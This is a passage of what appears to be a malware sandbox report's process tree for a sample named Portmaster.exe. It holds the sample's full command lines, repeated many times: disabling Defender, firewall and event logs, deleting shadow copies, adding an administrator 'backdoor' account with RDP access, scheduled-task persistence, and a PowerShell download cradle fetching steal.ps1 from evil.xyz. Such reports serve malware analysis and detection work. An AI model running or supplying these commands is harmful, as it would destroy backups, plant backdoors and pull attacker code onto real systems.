  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:7476
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:7600
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:4056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:8040
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:5028
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:7976
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:7664
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:6156
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:5296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:4100
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:6844
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:9832
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:9756
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:7040
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:9944
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:7912
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:9196
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:9220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:9784
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:10380
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:6656
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      Modifies Windows Firewall
      PID:2320
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10544
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:11612
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10104
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:11088
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:2460
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:12252
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:11304
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:1196
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:12668
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:9520
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10720
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:12160
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:13556
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:13288
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c start https://evil.xyz
    3⤵
    PID:13508
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
    3⤵
    PID:13516
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:1484
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2648
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2852
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4020
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3044
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2252
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:3436
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6516
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:7088
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:6304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:6520
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8660
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:4024
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:7112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:9944
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:8232
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:6436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:6360
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:1032
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:7372
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:10920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:8212
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:11824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:11256
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:10764
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:13096
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1768
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:5004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5108
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4148
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:1220
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:7056
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:3368
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:5208
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:6696
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:8200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:8656
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:9856
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:6464
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:8092
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:9584
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:4940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:10056
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:9696
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:6792
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:11236
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:11752
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:10976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:3504
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:12988
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:5796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:13992
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:3620
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:5624
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4664
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:5272
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:2016
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6760
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:540
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:3156
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:8952
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:3940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:7872
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:1164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:8916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:6232
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:7552
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:796
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:236
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:1116
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:7140
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:8004
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:6768
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:6768
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      PID:4268
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:1568
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:9232
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:9692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:5992
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:228
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:2052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:7824
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:6376
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:8176
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:5688
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:11172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:5480
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      Modifies Windows Firewall
      PID:11288
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10536
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:12540
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:1120
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:8160
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:2260
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:13224
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13984
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:9952
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:12900
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:1796
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:13264
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14160
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:6640
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:13192
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:8968
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:12116
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:9108
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:11940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c start https://evil.xyz
    3⤵
    PID:8464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
    3⤵
    PID:6132
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:13392
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
  2⤵
  PID:5696
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4504
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:5912
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:5680
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:3788
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5004
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:4556
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8840
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:2464
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8664
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:4976
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:6192
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:8364
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:5964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:2292
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:2128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:10124
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:4056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:7372
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:9052

C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
1⤵
- Drops startup file
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:764
- C:\Windows\SysWOW64\cmd.exe
